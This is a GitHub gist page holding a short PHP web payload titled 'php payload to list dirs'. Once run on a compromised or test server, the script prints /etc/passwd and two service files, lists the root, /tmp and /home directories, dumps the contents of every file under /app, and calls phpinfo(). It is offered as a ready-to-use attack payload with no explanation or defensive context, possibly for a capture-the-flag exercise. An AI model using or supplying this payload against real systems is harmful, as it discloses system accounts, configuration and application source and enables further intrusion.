Skip to content

Instantly share code, notes, and snippets.

@GaurangTandon
Last active August 15, 2022 15:58
Show Gist options
  • Save GaurangTandon/06276369ac0f9c633194e7e5f2684b2c to your computer and use it in GitHub Desktop.
Save GaurangTandon/06276369ac0f9c633194e7e5f2684b2c to your computer and use it in GitHub Desktop.
php payload to list dirs
<?php
echo file_get_contents("/etc/passwd");
echo "--------\n";
echo file_get_contents("/my_init");
echo "--------\n";
echo file_get_contents("/my_service");
echo "--------\n";
$inspection_dirs=array("", "tmp", "home");
foreach ($inspection_dirs as $checkdir) {
if ($handle = opendir('/' . $checkdir)) {
echo "XXX" . $checkdir . "XXX\n";
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "--------\n";
echo $entry . "\n";
echo "--------\n";
}
}
closedir($handle);
}
}
if ($handle = opendir('/app')) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "--------\n";
echo $entry . "\n";
echo file_get_contents("/app/" . $entry);
echo "--------\n";
}
}
closedir($handle);
}
echo "=====\n";
phpinfo();
echo "=====\n";
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment